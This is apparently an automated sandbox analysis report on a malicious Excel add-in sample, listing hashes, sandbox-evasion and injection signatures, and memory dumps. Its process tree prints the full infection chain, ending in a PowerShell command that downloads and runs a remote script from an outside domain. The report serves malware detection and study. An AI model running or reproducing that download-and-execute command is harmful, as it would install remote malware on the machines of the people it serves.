Analysis
-
max time kernel
146s -
max time network
153s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
22-05-2024 20:48
Static task
static1
Behavioral task
behavioral1
Sample
ec667c42221a498e3565986360fed666a379671fb279f4fb442a89a054ea0093.xll
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
ec667c42221a498e3565986360fed666a379671fb279f4fb442a89a054ea0093.xll
Resource
win11-20240508-en
General
-
Target
ec667c42221a498e3565986360fed666a379671fb279f4fb442a89a054ea0093.xll
-
Size
12KB
-
MD5
ac9c7da8a3ceb190eda4c1627360e0e0
-
SHA1
8a0c76711c41d5d1c714f6ba73e28aa1e318313d
-
SHA256
ec667c42221a498e3565986360fed666a379671fb279f4fb442a89a054ea0093
-
SHA512
1f4583aecdfaeda0f26d46f9bbe071ba50167ae26c47133aa28e7c7671e8f41940e7aed3e6214160c14308d9afbfd04235f3b2b8de1ccd19e415511d5b0f11dc
-
SSDEEP
192:9ZL29RBzDzeobchBj8JONTON9wruTrEPEjr7AhU:9529jnbcvYJOwIuTvr7CU
Malware Config
Extracted
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 5052 4560 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 25 4440 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 4560 EXCEL.EXE 4560 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4560 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4440 powershell.exe 4440 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4440 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 4560 EXCEL.EXE 4560 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 4560 EXCEL.EXE 4560 EXCEL.EXE 4560 EXCEL.EXE 4560 EXCEL.EXE 4560 EXCEL.EXE 4560 EXCEL.EXE 4560 EXCEL.EXE 4560 EXCEL.EXE 4560 EXCEL.EXE 4560 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 4560 wrote to memory of 5052 4560 EXCEL.EXE mshta.exe PID 4560 wrote to memory of 5052 4560 EXCEL.EXE mshta.exe PID 4560 wrote to memory of 5052 4560 EXCEL.EXE mshta.exe PID 5052 wrote to memory of 4440 5052 mshta.exe powershell.exe PID 5052 wrote to memory of 4440 5052 mshta.exe powershell.exe PID 5052 wrote to memory of 4440 5052 mshta.exe powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ec667c42221a498e3565986360fed666a379671fb279f4fb442a89a054ea0093.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\3FR0UY0O\d[1].htmFilesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h0quoogr.p5f.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\ec667c42221a498e3565986360fed666a379671fb279f4fb442a89a054ea0093.xllFilesize
12KB
MD5ac9c7da8a3ceb190eda4c1627360e0e0
SHA18a0c76711c41d5d1c714f6ba73e28aa1e318313d
SHA256ec667c42221a498e3565986360fed666a379671fb279f4fb442a89a054ea0093
SHA5121f4583aecdfaeda0f26d46f9bbe071ba50167ae26c47133aa28e7c7671e8f41940e7aed3e6214160c14308d9afbfd04235f3b2b8de1ccd19e415511d5b0f11dc
-
memory/4440-61-0x00000000066D0000-0x000000000671C000-memory.dmpFilesize
304KB
-
memory/4440-60-0x0000000006690000-0x00000000066AE000-memory.dmpFilesize
120KB
-
memory/4440-59-0x0000000006230000-0x0000000006587000-memory.dmpFilesize
3.3MB
-
memory/4440-62-0x0000000007CD0000-0x000000000834A000-memory.dmpFilesize
6.5MB
-
memory/4440-50-0x00000000061C0000-0x0000000006226000-memory.dmpFilesize
408KB
-
memory/4440-49-0x0000000006150000-0x00000000061B6000-memory.dmpFilesize
408KB
-
memory/4440-48-0x0000000005830000-0x0000000005852000-memory.dmpFilesize
136KB
-
memory/4440-47-0x00000000059B0000-0x0000000005FDA000-memory.dmpFilesize
6.2MB
-
memory/4440-46-0x00000000051F0000-0x0000000005226000-memory.dmpFilesize
216KB
-
memory/4440-63-0x0000000006BB0000-0x0000000006BCA000-memory.dmpFilesize
104KB
-
memory/4560-9-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-7-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-14-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-16-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-17-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-18-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-19-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-21-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-20-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-13-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-12-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-11-0x00007FFF75BA0000-0x00007FFF75BB0000-memory.dmpFilesize
64KB
-
memory/4560-0-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmpFilesize
64KB
-
memory/4560-10-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-8-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-15-0x00007FFF75BA0000-0x00007FFF75BB0000-memory.dmpFilesize
64KB
-
memory/4560-6-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmpFilesize
64KB
-
memory/4560-5-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-4-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmpFilesize
64KB
-
memory/4560-2-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmpFilesize
64KB
-
memory/4560-3-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmpFilesize
64KB
-
memory/4560-1-0x00007FFFB7E43000-0x00007FFFB7E44000-memory.dmpFilesize
4KB
-
memory/4560-70-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-71-0x00007FFFB7E43000-0x00007FFFB7E44000-memory.dmpFilesize
4KB
-
memory/4560-72-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB
-
memory/4560-88-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmpFilesize
64KB
-
memory/4560-89-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmpFilesize
64KB
-
memory/4560-91-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmpFilesize
64KB
-
memory/4560-90-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmpFilesize
64KB
-
memory/4560-92-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmpFilesize
2.0MB